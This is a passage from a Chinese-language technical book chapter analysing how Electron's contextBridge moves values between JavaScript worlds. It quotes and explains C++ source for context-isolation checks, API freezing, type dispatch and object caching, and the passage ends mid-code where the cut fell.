《Electron 45.2.3 内核解剖》第 15 章 contextBridge 与安全边界

2 阅读1小时+

《Electron 45.2.3 内核解剖》第 15 章 contextBridge 与安全边界

本章讲的是 Electron 里唯一一个主动把值从一个 JavaScript 世界搬到另一个世界的组件,以及它划出的那条边界到底拦住了什么、没拦住什么。

15.0 四个隔离层,本章只管第三层

第 12 章讲了渲染进程的初始化,那里有两条路径(沙箱/非沙箱)、四个 world。第 13 章讲了像素怎么上屏。这一章要回答一个更窄但更容易被误解的问题:当 preload 想把一个对象交给页面时,中间到底发生了什么?

先把"隔离"这个词拆开。Electron 的隔离其实是四层,每层的机制、失效方式、以及"谁负责"都不同:

层机制一旦失效边界强度
进程隔离sandbox + zygote + seccomp-bpf渲染进程能调 open()内核级,最强
上下文隔离contextIsolation + Blink 的 world页面能直接读 preload 的 window引擎级,强
能力隔离nodeIntegration + contextBridge 暴露面preload 把整个 ipcRenderer 递出去纯约定,无强制
策略隔离CSP / webSecurity / allowRunningInsecureContent页面能加载任意源引擎级,但可被 API 关掉

第三层是全章的主题,而它的性质与前两层根本不同:前两层由 C++ 保证,第三层由你的代码保证。 contextBridge 不是一个"安全沙箱",它是一个"受控的搬运工"——它保证搬运过去的值不能反过来碰到搬运者,但它完全不保证你搬过去的东西是否危险。把 require 搬过去,你就把整个 Node 搬过去了,contextBridge 不会阻止你。

这一点必须先说清,因为大量"用了 contextBridge 所以安全"的误解都源于把它当成了第二层。

15.0.1 本章的源码地图

角色文件行数职责
主体electron_api_context_bridge.cc1,247全部搬运逻辑
接口electron_api_context_bridge.h:2948PassValueToOtherContext 与 BridgeErrorTarget
对象缓存shell/renderer/api/context_bridge/object_cache.{h,cc}43 / 33循环引用与 a === b 的保持
JS 壳context-bridge.ts:13一行 _linkedBinding
沙箱侧装配preload_environment.cc:43310require('electron') 里那个 contextBridge
安全警告security_warnings.cc281八个运行期检查
打包期开关fuses.json514九个 fuse
行为规范spec/api-context-bridge.spec.ts1,788六十余个测试

context-bridge.ts:1-2 只有三行:

const { contextBridge } = process._linkedBinding('electron_renderer_context_bridge');
export default contextBridge;

这三行说明一件事:contextBridge 没有 JS 实现。 它不是"一个调几个 native 方法的 JS 模块",它本身就是 native 对象。所有类型判定、所有代理创建、所有错误包装,全在 C++ 里。这也是为什么它的行为无法被页面侧的 monkey-patch 影响——预加载阶段 JS 再怎么改 Object.prototype,都改不到 v8::Object::CreateDataProperty 的行为。

但反过来说,这也意味着它的行为完全由 V8 的 API 语义决定,而 V8 的一些语义(比如 GetOwnPropertyNames 的过滤参数、SetIntegrityLevel 的返回值)并不总是符合直觉。后面几节会反复回到这一点。

15.0.2 三个贯穿全章的术语

PassValueToOtherContext 的签名里有一堆 context,很容易看晕。先把名字钉死:

  • source context:值现在所在的世界。从 preload 调 exposeInMainWorld 时,它是隔离世界(999);从 ProxyFunctionWrapper 里转发参数时,它是主世界(0)。
  • destination context:值要去的世界。方向永远与 source 相反。
  • parent value:这个值的"父对象",只用于函数代理——它决定代理函数被调用时 this 是什么。头文件里的注释写得很克制:"Used to automatically bind a function across worlds to its appropriate default this value."

第三个最容易忽略。它不是"接收者",它是"函数被挂在谁身上"。exposeInMainWorld('api', { fn }) 时 fn 的 parent 是整个 api 对象;api.fn 在主世界被调用时,this 指向主世界里那个 proxy 出来的 api 副本,而不是原对象。这个设计使得 this.x 能正确读到同一份 API 里的其他成员——但也意味着 this 永远不是原对象,任何靠 identity 判断的逻辑都会失效。


15.1 隔离到底隔离了什么

15.1.1 v8::Context 不是 window

要理解 contextBridge 在做什么,先要理解它跨过的是什么。

一个渲染进程主线程通常是一个 isolate。isolate 拥有堆、拥有 GC、拥有 JIT 代码。在同一个 isolate 里可以存在多个 v8::Context——每个 context 有自己的全局对象、自己的内建对象(Object、Array、Function 的构造函数都是每个 context 一份)、自己的原型链。

所以"隔离世界"和"主世界"的关系是:

isolate(一个堆、一套 GC)
├── context A(main world, id=0)
│     globalThis: {...}
│     %Object.prototype%: P_A
│     Array: f_A
└── context B(isolated world, id=999)
	globalThis: {...}
	%Object.prototype%: P_B
	Array: f_B

P_A !== P_B,f_A !== f_B。但两者共享同一个堆——这意味着一个 context 里创建的对象可以被另一个 context 的变量引用,只是访问它的属性时要用哪个 context 的语义是个必须显式回答的问题。

v8::Object::Get(context, key) 的第一个参数就是答案。同一个 v8::Object,用 context A 调 Get 会走 A 的原型链(如果属性不在自己身上),用 context B 调会走 B 的原型链。这就是为什么 contextBridge 里每一处属性读写都要显式写 v8::Context::Scope——不是仪式,是语义。

contextBridge.cc 里 v8::Context::Scope 出现了 20 次以上。每次出现都在回答同一个问题:接下来这几行代码,按谁的原型链、谁的 getter、谁的异常处理规则来跑。

15.1.2 DOM wrapper 也是按 world 分别创建的

第 12 章提过一句"Blink 的 DOM wrapper 是按 world 分别创建的",这里展开一下,因为它是 contextBridge 里三个 DOM 特例的根源。

document.body 在主世界是一个 HTMLBodyElement 的 wrapper 对象,在隔离世界是另一个 wrapper 对象,两者都指向同一个 C++ 的 HTMLBodyElement。Blink 的实现是 DOMWrapperWorld 持有每个 world 的 wrapper 表,V8DOMWrapper::AssociateObjectWithWrapper 按 world 查找。

由此产生两个后果:

  1. 把 document.body 从隔离世界递给主世界,不能直接传那个 wrapper——它在主世界里是个"外来对象",原型链指向隔离世界的 HTMLBodyElement.prototype,主世界的 instanceof 会失败,主世界的 element.style 访问会走隔离世界的 getter。所以 PassValueToOtherContextInner 里有一段专门处理(:411-438):

electron_api_context_bridge.cc:411-416

	if (source_execution_context->IsWindow() && value->IsObject() &&
	value.As<v8::Object>()->IsApiWrapper()) {
	blink::WebElement elem = blink::WebElement::FromV8Value(isolate, value);
	if (!elem.IsNull()) {
	v8::Context::Scope destination_context_scope(destination_context);
	return v8::MaybeLocal<v8::Value>(elem.ToV8Value(isolate));
	}
	// ... Blob、VideoFrame 同理
	}

WebElement::FromV8Value 拿到的是 C++ 侧的元素指针,ToV8Value 在当前(destination)context 里重新包一层 wrapper。两个 wrapper、一个 C++ 对象,所以 elem === document.body 在主世界里成立——因为 Blink 的 wrapper 表对同一个 (object, world) 只会返回同一个 wrapper。

  1. IsApiWrapper() 这个前置检查是性能优化,也是正确性边界。 注释说得很直白:"Only objects backed by an API template can be Blink wrappers, so plain objects skip the probes." 一个普通 {} 不可能是 Blink wrapper,跳过三次 FromV8Value 探测。而 source_execution_context->IsWindow() 这个条件排除了 service worker——那里没有 DOM。

15.1.3 CheckContextIsolated:三条判定路径

contextBridge 的所有入口第一件事都是 CheckContextIsolated(:1147-1162):

electron_api_context_bridge.cc:1147-1154

bool CheckContextIsolated(v8::Isolate* isolate) {
	v8::Local<v8::Context> context = isolate->GetCurrentContext();
	blink::ExecutionContext* execution_context =
	blink::ExecutionContext::From(context);
	bool isolated = execution_context && !execution_context->IsWindow();
	if (!isolated) {
	auto* render_frame = electron::GetRenderFrame(isolate, context->Global());
	isolated =
		render_frame && render_frame->GetBlinkPreferences().context_isolation;
	}
	if (!isolated) {
	gin_helper::ErrorThrower(isolate).ThrowError(
		"contextBridge API can only be used when contextIsolation is enabled");
	}
	return isolated;
}

三行判定,对应三种情况:

第一种:execution_context 为空。 说明当前 context 不是 Blink 的 context(可能是 v8::Context::New(isolate) 造出来的裸 context,仅用于内部)。isolated 为假,落到第二个分支,GetRenderFrame 也拿不到东西,报错。

第二种:!execution_context->IsWindow()。 这就是 service worker 的 preload realm、worklet、以及 <webview> 的某些场景。注意这里是"非 Window 就算隔离",没有任何进一步检查。 这是有意的:

service worker 的 preload(第 16 章会讲)跑在一个 ShadowRealmGlobalScope 里,与 worker 自身的主 context 分离。这个分离是结构性的、无法关闭的,所以"非 Window"等价于"隔离"。这也解释了 GetTargetContext 里那个专门的分支:

electron_api_context_bridge.cc:798-804

	} else if (execution_context->IsShadowRealmGlobalScope()) {
	if (world_id != WorldIDs::MAIN_WORLD_ID) {
	isolate->ThrowException(v8::Exception::Error(gin::StringToV8(
		isolate, "Isolated worlds are not supported in preload realms.")));
	return maybe_target_context;
	}
	maybe_target_context =
		electron::preload_realm::GetInitiatorContext(source_context);
	}

"preload realm 里不支持隔离世界"——因为 preload realm 本身就是一个隔离层,再套一层没有语义。而 MAIN_WORLD_ID 在 preload realm 语境下指的是 service worker 自己的那个 main context,通过 GetInitiatorContext 找回来(它沿着 shadow realm 的 initiator 链找到创建它的那个 realm)。

第三种:是 Window,读 context_isolation 偏好。 这里有个前提要看清:CheckContextIsolated 检查的是**"这个 context 是否允许用 bridge",不是"这个 context 是否真的隔离"。判定依据是 GetBlinkPreferences().context_isolation,而这是这一帧当前的偏好快照**。

第 12 章 12.9 讲过,window.open 出来的子窗口在第一个快照里值可能是错的。所以理论上存在一个窗口:偏好快照说 context_isolation: true,实际配置是 false。

误许的后果是什么? 不是"直接 global.Set"。PassValueToOtherContext 仍然会跑完整流程——plain object 被复制、函数被代理、Promise 被接。所以页面拿到的仍然是一份副本,不是 preload 里那个对象。

真正的后果在别处:contextIsolation: false 意味着 preload 和页面共享同一个 window。 页面可以 window.somePreloadGlobal 直接读到 preload 的全局变量,可以检查 window.process、可以枚举 preload 挂的所有东西。在这种配置下,bridge 的"代理"变成了纯粹的额外开销——因为隔离早就没了,页面根本不需要通过 bridge 拿东西。

换句话说:误许不会造成新的越权,它只是让一个已经失效的检查放行了一个已经没有意义的操作。 真正的危险是你在 contextIsolation: false 下以为自己在用隔离。

这个窗口很小(window.open 的子窗口创建时会把最终偏好推过去,第 12 章 12.4 的第三处推送),但它说明了一个更普遍的事实:CheckContextIsolated 是一个"配置检查",不是一个"状态检查"。 它读的是"应该怎样",不是"实际怎样"。

15.1.4 GetTargetContext:世界从哪来

ExposeAPIInWorld 拿到目标 context 的唯一途径是 GetTargetContext(:781-812):

electron_api_context_bridge.cc:786-793

	blink::ExecutionContext* execution_context =
	blink::ExecutionContext::From(source_context);
	if (execution_context->IsWindow()) {
	auto* render_frame = GetRenderFrame(isolate, source_context->Global());
	CHECK(render_frame);
	auto* frame = render_frame->GetWebFrame();
	CHECK(frame);
	maybe_target_context =
		world_id == WorldIDs::MAIN_WORLD_ID
			? frame->MainWorldScriptContext()
			: frame->GetScriptContextFromWorldId(isolate, world_id);
	} else if (execution_context->IsShadowRealmGlobalScope()) {
	// ...见上
	} else {
	NOTREACHED();
	}
	CHECK(!maybe_target_context.IsEmpty());

三个细节值得看:

第一,GetRenderFrame(isolate, source_context->Global()) 是 Electron 的一个约定。 它从全局对象上读一个隐藏属性拿到 RenderFrame*(context_bridge.cc 顶部有前向声明,实现在 renderer_client_base.cc)。这是"在只有 isolate 和 context 的情况下找到 C++ 侧对象"的通用手法,第 14 章 14.8 的 ipcNative 用的是同一个套路。

第二,world_id == 0 需要特殊处理。 GetScriptContextFromWorldId(isolate, 0) 也能工作,但对 main world 用 MainWorldScriptContext() 更直接——因为 main world 的 context 可能是"还没创建"的状态(页面没跑过脚本时),MainWorldScriptContext() 会按需创建,GetScriptContextFromWorldId 的路径更长。

第三,CHECK(!maybe_target_context.IsEmpty()) 是一个断言式的假设。 它假设 GetScriptContextFromWorldId 对任意 world_id 都不会返回空。事实是 Blink 的 WebLocalFrame::GetScriptContextFromWorldId 在 world 不存在时会先 EnsureIsolatedWorld 创建它——所以 exposeInIsolatedWorld(99999, 'x', {}) 会顺手创建一个 id 为 99999 的新 world,而不是报错。文档里那句 "We recommend using 1000+ while creating isolated world" 里的 "creating" 是这个意思。

WorldIDs 的取值在第 12 章讲过:MAIN_WORLD_ID = 0、ISOLATED_WORLD_ID = 999、扩展从 1 << 20 起。


15.2 ExposeAPI:四道门

拿到 source 和 destination 之后,ExposeAPI(:741-774)做的事很少,但每一步都可能静默失败:

electron_api_context_bridge.cc:741-748

void ExposeAPI(v8::Isolate* isolate,
			v8::Local<v8::Context> source_context,
			v8::Local<v8::Context> target_context,
			const std::string& key,
			v8::Local<v8::Value> api) {
	DCHECK(!target_context.IsEmpty());
	v8::Context::Scope target_context_scope(target_context);
	gin_helper::Dictionary global(isolate, target_context->Global());
	if (global.Has(key)) {
	gin_helper::ErrorThrower{isolate}.ThrowError(
		"Cannot bind an API on top of an existing property on the window "
		"object");
	return;
	}
	v8::MaybeLocal<v8::Value> maybe_proxy = PassValueToOtherContext(
	isolate, source_context, target_context, api, source_context->Global(),
	false, BridgeErrorTarget::kSource);
	if (maybe_proxy.IsEmpty())
	return;
	auto proxy = maybe_proxy.ToLocalChecked();
	if (base::FeatureList::IsEnabled(features::kContextBridgeMutability)) {
	global.Set(key, proxy);
	return;
	}
	if (proxy->IsObject() && !proxy->IsTypedArray() &&
	!DeepFreeze(proxy.As<v8::Object>(), target_context))
	return;
	global.SetReadOnlyNonConfigurable(key, proxy);
}

15.2.1 第一道门:global.Has(key)

Has 会沿原型链查。所以 exposeInMainWorld('toString', ...) 会失败——因为 Object.prototype.toString 在原型链上。同理 'constructor'、'hasOwnProperty'、'__proto__'。

这条检查的措辞很值得注意:"Cannot bind an API on top of an existing property on the window object"。但 Has 查的是整条原型链,不只是 window 自身。所以这个错误信息的字面意思比实际检查范围窄——实际范围是"window 的原型链上任何位置"。

这个设计的好处是不会覆盖任何已有属性(包括 Object.prototype 上的),坏处是某些通用的 API 名字无法使用。这不是什么大问题,但它解释了一个常见的困惑:"为什么 exposeInMainWorld('name', ...) 可以,exposeInMainWorld('name', ...) 之后的第二次调用就抛了"——第二次时第一个已经在 window 自身上了。

顺带一个陷阱:如果第一次 exposeInMainWorld('api', ...) 因为 PassValueToOtherContext 失败而 return 了,window.api 不会被设置(因为设置发生在最后一行),但下一次调用不会报 "already exists"——因为没有残留。所以失败是干净的。

但如果第一次成功,第二次想覆盖,就会抛错。想更新 API 只能 delete window.api 然后重新暴露,而 SetReadOnlyNonConfigurable(下一节)使得 delete 也失败。这个死锁是 ContextBridgeMutability flag 存在的直接原因之一。

15.2.2 第二道门:DeepFreeze

DeepFreeze(:71-98)是从 extensions/renderer/v8_schema_registry.cc 借来的,注释写明了出处:

electron_api_context_bridge.cc:71-78

bool DeepFreeze(const v8::Local<v8::Object>& object,
				const v8::Local<v8::Context>& context,
				std::set<int> frozen = std::set<int>()) {
	int hash = object->GetIdentityHash();
	if (frozen.contains(hash))
	return true;
	frozen.insert(hash);
	v8::Local<v8::Array> property_names;
	if (!object->GetOwnPropertyNames(context).ToLocal(&property_names))
	return false;
	for (uint32_t i = 0; i < property_names->Length(); ++i) {
	v8::Local<v8::Value> name;
	if (!property_names->Get(context, i).ToLocal(&name))
	return false;
	// The property may be an accessor that throws (e.g. a DOM element the page
	// has decorated), so the read must be checked.
	v8::Local<v8::Value> child;
	if (!object->Get(context, name).ToLocal(&child))
	return false;
	if (child->IsObject() && !child->IsTypedArray()) {
	if (!DeepFreeze(child.As<v8::Object>(), context, frozen))
		return false;
	}
	}
	return IsTrue(
	object->SetIntegrityLevel(context, v8::IntegrityLevel::kFrozen));
}

四个守卫,每一个都有来历:

守卫一:std::set<int> frozen 按 GetIdentityHash 去重。 这是为了防止循环引用导致无限递归。注意 frozen 是值传递(std::set<int> frozen = std::set<int>()),但这个"值传递"是假象——它只在第一次调用时构造,之后每次递归调用都传同一个 set,C++ 的拷贝构造在 std::set 上是深拷贝,所以实际上每次递归都会复制整个 set。对一个有 N 个节点的对象,这是 O(N²) 的哈希插入。

这个开销在 exposeInMainWorld 里只发生一次(API 通常在 preload 里定义一次),所以没人在意。但如果 API 对象很大(比如几百个成员),preload 的启动时间会有可测量的增加。

按值传递还有一个更微妙的后果:兄弟节点之间不共享 frozen 集合。

api ──┬── a ── shared
	└── b ── shared

遍历 api 时,frozen = {api}。处理 a 时传的是 {api} 的副本,往副本里加 a、再加 shared——但函数返回后副本就丢了。处理 b 时又传一份 {api} 的副本,里面没有 shared,于是 shared 会被再冻结一遍。

重复冻结是幂等的(SetIntegrityLevel(kFrozen) 对已冻结对象返回 true),所以正确性没问题。代价是共享子图被反复遍历:一个被 k 个父节点引用的子对象会被走 k 次,一个菱形依赖的图会被指数级重复。真正的循环依赖被 frozen 挡住了(在单条路径上),但"扇出"没有被挡住。

这也是"按引用传 frozen"这个优化(15.13 练习题 15.8)能同时改善复杂度和常数的原因——它把两件事一起修了:O(N²) 的 set 拷贝,和共享子图的重复遍历。

守卫二:GetOwnPropertyNames 不带过滤参数——注意它和 CreateProxyForAPI 里的 ONLY_ENUMERABLE 是两处不同的调用,行为不同。这里 freeze 的是已经建好的 proxy,proxy 上只有 enumerable 属性,所以没差别。但如果将来有人改了 proxy 的构造方式加了 non-enumerable 属性,freeze 依然会处理它们——这是"freeze 比 copy 更彻底"的一个隐式保证。

守卫三:Get(context, name) 必须检查。 注释给了一个具体理由:"a DOM element the page has decorated"。场景是:你在 API 里放了一个 DOM 元素,页面在它身上装了一个会抛的 getter。DeepFreeze 遍历到那个属性时,Get 抛异常,ToLocal 返回空,DeepFreeze 返回 false,ExposeAPI 直接 return——整个 API 暴露失败,而且没有错误信息。因为 DeepFreeze 的 return false 之后 ExposeAPI 只是 return,没有 ThrowError。

这是一个静默失败点,值得记住。触发条件很窄(页面要先拿到那个元素并装 getter),但它确实存在。

守卫四:IsTypedArray 跳过递归。 TypedArray 的索引属性可能有几百万个,逐个递归会爆炸;而且 TypedArray 的 SetIntegrityLevel(kFrozen) 会失败(它们的元素是"不可配置但可写"的,V8 会返回 false)。所以跳过递归。但如果外层还是对它调了 SetIntegrityLevel,这一步会返回 false,DeepFreeze 会返回 false,整个 ExposeAPI 就会静默失败。这就是为什么调用方还要再挡一道:

electron_api_context_bridge.cc:769-771

	if (proxy->IsObject() && !proxy->IsTypedArray() &&
	!DeepFreeze(proxy.As<v8::Object>(), target_context))
	return;

!proxy->IsTypedArray() 这个前置条件保证了顶层是 TypedArray 时根本不调 DeepFreeze。但 DeepFreeze 内部的 !child->IsTypedArray() 保证的是子节点是 TypedArray 时不递归进去。两处配合,TypedArray 永远不会被 SetIntegrityLevel。

所以逻辑是自洽的:TypedArray 从头到尾不被冻结。文档表格里 Array 一行说"Same limitations as the Object type",但 TypedArray 实际上可变——你可以在主世界里改 window.api.bytes[0]。这不是 bug,是"没法冻结它,所以不如不冻结"的取舍。

15.2.3 第三道门:SetReadOnlyNonConfigurable

electron_api_context_bridge.cc:773

	global.SetReadOnlyNonConfigurable(key, proxy);

这是 gin_helper::Dictionary 的方法,效果等价于:

Object.defineProperty(window, key, {
	value: proxy,
	writable: false,
	enumerable: true,
	configurable: false
});

enumerable: true 值得注意——Object.keys(window) 里会看到这个 key。有些安全加固会建议把暴露的 API 设成 non-enumerable,但 Electron 选择保持可枚举,因为大量代码依赖 for (const k in window) 遍历(虽然这是坏习惯)。

真正的效果是:页面不能替换 window.api,也不能删除它。

window.api = {}          // 静默失败(非严格模式)/ TypeError(严格模式)
delete window.api        // false(非严格)/ TypeError(严格)
Object.defineProperty(window, 'api', {...})  // TypeError: Cannot redefine property

这挡住了一类真实的攻击:页面上的第三方脚本把 window.api 换成自己的实现,后续所有调用都经过它。但要注意——它挡不住"改 window.api.fn",因为 fn 在 proxy 对象上,而 proxy 对象本身被 DeepFreeze 冻住了,所以那也被挡住。两层配合才完整。

15.2.4 ContextBridgeMutability:一个默认关闭的逃生门

electron_api_context_bridge.cc:36-39

namespace features {
BASE_FEATURE(kContextBridgeMutability,
			"ContextBridgeMutability",
			base::FEATURE_DISABLED_BY_DEFAULT);
}

打开它(--enable-features=ContextBridgeMutability)之后:

electron_api_context_bridge.cc:764-766

	if (base::FeatureList::IsEnabled(features::kContextBridgeMutability)) {
	global.Set(key, proxy);
	return;
	}

不 freeze,不设 readonly,直接 Set。 也就是退回到"一个普通赋值"。

这个 flag 的意义要看清。它不是给生产环境用的逃生门,而是给迁移用的过渡态。它存在的原因是:从 Electron 12 开始 contextIsolation 默认开启,大量老应用从 window.myAPI = {...} 迁到 exposeInMainWorld 时遇到了"不能改 API"、"不能加方法"的问题。有些应用的做法是"先暴露一个空对象,运行时往里加方法"——这在冻结语义下直接崩。flag 让它们有个临时活路。

spec/api-context-bridge.spec.ts:1754-1780 有两个测试专门钉住这个分支的两侧行为,用 --enable-features=ContextBridgeMutability 启动一个 fixture 应用来对比。

注意 global.Set(key, proxy) 调用的是 Set 而非 CreateDataProperty。 如果 key 恰好是 __proto__(虽然前面有 Has 检查会拦),Set 会走 setter。这个分支的健壮性略低于主路径,但因为它只用于测试和迁移,可以接受。

现在看 DeepFreeze 之后"页面能做什么"这个更具实践意义的问题。

冻结的语义是:属性不可重定义、不可删除、不可写;对象不可扩展。 但有三件事它管不住:

  1. Object.prototype 上的方法仍然可用。 window.api.hasOwnProperty 存在,因为它在原型链上。页面可以调 window.api.hasOwnProperty('x'),这没危害。但如果 API 的某个值是对象,页面能调它继承来的一切。

  2. getter 的副作用管不住。 如果 API 里有一个 getter(support_dynamic_properties: true 时,CreateProxyForAPI 会保留 getter),DeepFreeze 只冻结属性描述符,不阻止 getter 被调用。每次读都会跑一次原 context 的 getter——这意味着读操作可能跨 world 执行代码。这是个不太为人知的性能与安全含义。

  3. 冻结不复制。 DeepFreeze 在 destination 上跑,冻结的是 proxy 对象。source 侧的原对象完全没有被动过,preload 仍然可以改它。改完之后主世界看不到——因为 proxy 已经复制了一份。这是"复制而非引用"的必然结果,也是"API 是快照"这个说法的基础。


15.3 十个分派点:一张被顺序定义的类型表

PassValueToOtherContextInner(:161-471)是全章的核心。它做的事可以一句话概括:按值的类型分派,每个分支负责把值搬到 destination context 并缓存结果。

但"按类型分派"这个描述会掩盖真正重要的东西——顺序本身就是设计。先看完整顺序:

#分支行号判定
0递归深度检查:172-182recursion_depth >= 1000
1原始值直通:189-192String/Number/Null/Undefined/Boolean/Symbol/BigInt
2缓存命中:195-198object_cache->GetCachedProxiedObject
3函数:202-240IsFunction()
4Promise:243-353IsPromise()
5原生错误:357-376IsNativeError()
6普通数组:381-407IsPlainArray()
7DOM 特例:411-438IsWindow() && IsApiWrapper()
8普通对象:441-450IsPlainObject()
9兜底序列化:452-470其余

十个分派点里,第 0 项(深度检查)和第 2 项(缓存命中)不是"类型分支",它们是所有类型共用的前置闸;真正的类型分支是其余八个,这也是"八个分支"这个说法的来源。

顺序里有三类情况,要分开看:必须的顺序、有理由但非必须的顺序、纯粹无关的顺序。混在一起谈会让"顺序很重要"这句话变成空话。

原始值为什么在最前面? 注释给了理由:"Certain primitives always use the current contexts prototype and we can pass these through directly which is significantly more performant than copying them." 原始值不绑定 context(除了 Symbol 的注册表是 isolate 级的),所以直通不需要任何转换。放在缓存之前是因为原始值不该进缓存——object_cache 的 key 是 v8::Object,原始值进不去。

缓存为什么在函数之前? 因为如果同一个函数被传两次,第二次应该拿到同一个 proxy——否则 window.api.fn !== window.api.fn,任何用函数做 Map key 的代码都会坏。缓存命中直接返回,跳过整个代理创建。

函数在 Promise 之前:这一条的先后其实无关。 IsFunction() 和 IsPromise() 是互斥判定(Promise 实例不可调用,普通函数不是 Promise 实例),换顺序不会改变任何行为。代码把它们排成"函数、Promise"纯粹是从代理成本考虑的——函数的代理只是建一个 v8::Function 加三个 slot,Promise 要建 shared_ptr、两个 v8::Global 再去 Then,先处理便宜的在分支预测上略占优。把这一条当成"必须的顺序"是过度解读。

错误为什么在数组之前? IsNativeError() 的检查必须早于 IsPlainObject()——Error 实例的 toStringTag 是 'Error',IsPlainObject 的排除列表里有 IsNativeError(),所以理论上顺序无关。但错误排在数组之前是有意义的:错误对象可能带 cause、errors 这些数组属性,先按错误处理可以只搬 message,避免把整个错误树搬过去(那会触发大量递归)。

数组为什么在 DOM 之前? 数组不可能是 Blink wrapper,先后无所谓,但代码里保持"纯 JS 结构优先"的一致性。

在必须的顺序里,最硬的一条是 DOM 必须在普通对象之前。

DOM 为什么在普通对象之前? 这是必须的。IsPlainObject 的排除列表里没有 IsApiWrapper(),一个 HTMLBodyElement 的 wrapper 如果走到 IsPlainObject,会被当成普通对象,逐个属性复制——复制出几百个 DOM 属性,每一个又都是对象,递归爆炸。所以 DOM 检查必须在前面。

兜底为什么能兜住? 走到最后的分支说明值既不原始、不是函数/Promise/错误/数组/DOM、也不是"普通对象"。剩下的是什么?Map、Set、Date、RegExp、ArrayBuffer、TypedArray、DataView、WeakMap、WeakSet——都是 IsPlainObject 明确排除的类型。它们全部交给结构化克隆(blink::CloneableMessage),能克隆的克隆,不能克隆的抛 DataCloneError。

15.3.1 原始值直通与 Symbol 的悖论

electron_api_context_bridge.cc:189-191

	if (value->IsString() || value->IsNumber() || value->IsNullOrUndefined() ||
	value->IsBoolean() || value->IsSymbol() || value->IsBigInt()) {
	return v8::MaybeLocal<v8::Value>(value);
	}

Symbol 在这个列表里,而且直通意味着不复制。这一点与官方文档矛盾:

Symbol | N/A | ❌ | ❌ | Symbols cannot be copied across contexts so they are dropped

文档说 Symbol 不支持。但代码直通,而且 spec 里有三个测试专门验证 symbol 能过桥且相等性成立(:720-758):

api-context-bridge.spec.ts:720-724

it('should proxy symbols', async () => {
	const mySymbol = Symbol('unique');
	const isSymbol = (s: symbol) => s === mySymbol;
	contextBridge.exposeInMainWorld('symbol', mySymbol);
	contextBridge.exposeInMainWorld('isSymbol', isSymbol);
	// 主世界:root.isSymbol(root.symbol) === true
});

为什么会这样?因为 Symbol 是 isolate 级的原始值,不是 context 级的。Symbol('x') 在 context A 里创建,它的 identity 属于整个 isolate,context B 拿到同一个 v8::Symbol 句柄时 === 成立。这与"跨 context 复制"无关——根本没有复制,是把同一个值递过去。

那文档说的"dropped"是什么?是 symbol-keyed 属性。CreateProxyForAPI 用 GetOwnPropertyNames(ONLY_ENUMERABLE),这个方法只返回字符串键,GetOwnPropertySymbols 才是 symbol 键。所以:

const s = Symbol('k');
contextBridge.exposeInMainWorld('api', { [s]: 1, normal: 2 });
// 主世界:window.api[s] === undefined,window.api.normal === 2

值能过,键不能过。文档那句话在讲键,代码那个分支在讲值。两者都对,但合在一起会误导。

15.3.2 ObjectCache:v8::Local 到 v8::Local

object_cache 的实现只有 33 行,但有两个必须理解的设计:

object_cache.h:19-24

class ObjectCache final {
	struct Hash {
	std::size_t operator()(const v8::Local<v8::Object>& obj) const {
	return obj->GetIdentityHash();
	}
	};
	absl::flat_hash_map<v8::Local<v8::Object>, v8::Local<v8::Value>, Hash>
	proxy_map_;
};

第一,key 和 value 都是 v8::Local。 头文件的注释用了一个罕见的强警告:

NB: This is designed for context_bridge. Beware using it elsewhere! Since it's a v8::Local-to-v8::Local cache, be careful to destroy it before destroying the HandleScope that keeps the locals alive.

v8::Local 是一个指向 handle slot 的指针。它只在创建它的 HandleScope 存活期间有效。ObjectCache 持有 v8::Local 而不持有 v8::Global,意味着:

  • 它不能让对象存活——GC 看不到这个引用,源对象可能被回收,而 cache 里还留着一个悬垂的 Local。
  • 它必须在 HandleScope 销毁前销毁——否则析构时遍历 map 会访问已释放的 handle slot。

为什么敢这么设计?因为 ObjectCache 的生命周期严格嵌套在调用它的函数里:

  • PassValueToOtherContext(:484-486):context_bridge::ObjectCache local_object_cache; 是栈上的局部变量。
  • ProxyFunctionWrapper(:526):同样是栈上局部变量,在 Context::Scope 内部。
  • ExecuteInWorld(:1062):同上。

三处都是"函数进来建、函数出去销毁",天然满足"先于 HandleScope 销毁"。注释里的警告是给未来改动者的:不要把它提到更外层,不要让它跨函数存活。

至于"GC 看不到",实际上不会出问题:所有这些调用都在同一个 HandleScope 内同步完成,中间没有任何机会触发 GC 回收源对象——因为它们同时还被调用者的 v8::Local 引用着。

第二,hash 用 GetIdentityHash(),比较用指针。 absl::flat_hash_map 的 key 类型是 v8::Local<v8::Object>,它的 operator== 是指针比较(比较 handle slot 地址,不是对象身份)。两个指向同一对象的 Local 在同一个 HandleScope 里共享同一个 slot,所以指针相等。hash 则用 GetIdentityHash()——一个 V8 分配的、对同一对象稳定的 32 位整数。

为什么不直接用指针当 hash?理论上可以(slot 地址唯一对应一个 handle)。用 GetIdentityHash 的代价是会强制 V8 给对象分配 identity hash(第一次调用时写入对象头),这是有开销的、且不可逆的操作。但它有个好处:即使两个 Local 指向不同的 slot(比如跨了 HandleScope),只要指向同一对象,hash 就相同。虽然 operator== 会判它们不等,但至少不会因为 hash 不同而分到不同桶里造成"看似相同实则不同的两个条目"。

CacheProxiedObject 还有两个守卫:

object_cache.cc:15-18

void ObjectCache::CacheProxiedObject(const v8::Local<v8::Value> from,
									v8::Local<v8::Value> proxy_value) {
	if (from->IsObject() && !from->IsNullOrUndefined())
	proxy_map_.insert_or_assign(from.As<v8::Object>(), proxy_value);
}

IsObject() && !IsNullOrUndefined()——后者其实冗余(null 的 IsObject() 为假),但写出来更安全。insert_or_assign 而非 insert:同一个源对象第二次过桥时会覆盖,取最新的 proxy。

15.3.3 函数:三个 slot 与一个私有键

函数分支(:202-240)分两半。先看"反向不重复代理"那半:

electron_api_context_bridge.cc:202-209

	if (value->IsFunction()) {
	auto func = value.As<v8::Function>();
	v8::MaybeLocal<v8::Value> maybe_original_fn =
		GetPrivate(isolate, source_context, func, kOriginalFunctionPrivateKey);
	{
	v8::Context::Scope destination_scope(destination_context);
	v8::Local<v8::Value> proxy_func;
	if (maybe_original_fn.ToLocal(&proxy_func) && proxy_func->IsFunction() &&
		proxy_func.As<v8::Object>()->GetCreationContextChecked(isolate) ==
			destination_context) {
		return v8::MaybeLocal<v8::Value>(proxy_func);
	}

这段的逻辑是:这个函数身上有没有"我是某个函数的 proxy"的标记?如果有,而且那个原函数的出生 context 正好是我要去的地方,那就直接把原函数还回去。

kOriginalFunctionPrivateKey 是 "electron_contextBridge_original_fn",用 v8::Private::ForApi 存取。SetPrivate(:126-136)在创建 proxy 之后立刻打上这个标记:

electron_api_context_bridge.cc:235-236

	SetPrivate(isolate, destination_context, proxy_func.As<v8::Object>(),
